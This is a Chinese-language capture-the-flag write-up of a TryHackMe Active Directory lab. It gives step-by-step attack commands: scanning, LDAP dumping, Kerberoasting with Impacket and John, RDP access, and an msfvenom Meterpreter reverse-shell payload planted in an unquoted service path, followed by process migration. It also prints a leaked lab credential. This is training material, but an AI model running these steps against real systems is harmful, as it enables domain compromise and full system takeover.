写点什么

Active Directory 渗透测试实战:从域用户提权到系统控制

作者:qife
  • 2025-07-04
    福建
  • 本文字数:1012 字

    阅读完需:约 3 分钟

Active Directory 渗透测试:企业级实战

Intro


这是 TryHackMe 平台上基于 Active Directory 渗透测试的困难级别靶机。目标是通过攻击 Windows 域控制器获取完全控制权。渗透路径包括:通过 RDP 获取初始立足点,再利用非引号服务路径漏洞进行特权提升。下面开始实战。

Nmap 扫描

按惯例我们首先进行基础 Nmap 扫描,发现多个开放端口,其中 80、88、389 等端口值得关注,且 3389 端口运行着 RDP 服务。


技巧nmap -sVC -p- -Pn -T4 <ip> -vv

Web 枚举

  1. 首先访问 80 端口的 Web 服务器,未发现有效信息

  2. 使用 GoBuster 进行目录暴力枚举

  3. 发现 robots.txt 文件但无重要内容,提示应枚举服务而非 Web 服务器

  4. 在 7990 端口发现登录表单和提示信息:"Enterprise-THM 已迁移至 Github"

  5. 通过 Google 搜索找到用户 Nik 的 Github 仓库

  6. 在其 mgmtScript.ps1 文件的历史提交中发现凭证泄露

  7. 凭证:nik : ToastyBoi!

AD 域渗透

  1. 尝试用该凭证连接 RDP 失败

  2. 使用 ldapdomaindump 工具提取域信息

  3. 技巧ldapdomaindump <ip> -u 'LAB-ENTERPRISE\nik' -p <password>

  4. 分析生成的 domain_users.html 文件,发现 nik 用户无 RDP 权限,但 bitbucket 用户属于"Remote Desktop Users"组

  5. 使用 Impacket 的 GetUserSPNs.py 获取服务票据

  6. 技巧python3 GetUserSPNs.py -dc-ip <ip> 'LAB.ENTERPRISE.THM/nik:<password>' -request

  7. 用 John 破解 Kerberos 哈希获取 RDP 凭证

  8. 技巧john --wordlist=<path> has.txt

  9. 使用 xfreerdp 建立远程桌面会话

  10. 技巧xfreerdp /u:<username> /p:<password> /v:<ip>

用户权限获取

成功获取桌面上的第一个用户 flag。

特权提升

  1. 上传 winPEASx64.exe 进行自动化检测,发现可被利用的非引号服务路径漏洞

  2. 漏洞服务:zerotieroneservice

  3. 路径C:\Program Files (x86)\Zero Tier\Zero Tier one(注意路径中包含空格但未使用引号)

  4. 确认该路径可写后,使用 msfvenom 生成 Windows 载荷

  5. 技巧msfvenom -p windows/meterpreter/reverse_tcp LHOST=<tun0_ip> LPORT=<any_port> -f exe -o shell.exe

  6. 将 payload 上传至C:\Program Files (x86)\Zero Tier\目录

  7. 在 Metasploit 中设置监听器

  8. 重启目标机上的 zerotieroneservice 服务

  9. 获得 system32 反向 shell(初始会话不稳定)

  10. 使用进程迁移稳定会话

  11. 技巧migrate -N winlogon.exe

  12. 最终获得管理员权限并取得 root flag

总结

通过本次实战,我们完整掌握了 Active Directory 渗透测试的关键技术链,包括信息收集、凭证提取、服务票据破解和非引号路径漏洞利用等高级技巧。


Happy Hacking~更多精彩内容 请关注我的个人公众号 公众号(办公 AI 智能小助手)公众号二维码


办公AI智能小助手


用户头像

qife

关注

还未添加个人签名 2021-05-19 加入

还未添加个人简介

评论

发布
暂无评论
Active Directory渗透测试实战:从域用户提权到系统控制_Active Directory_qife_InfoQ写作社区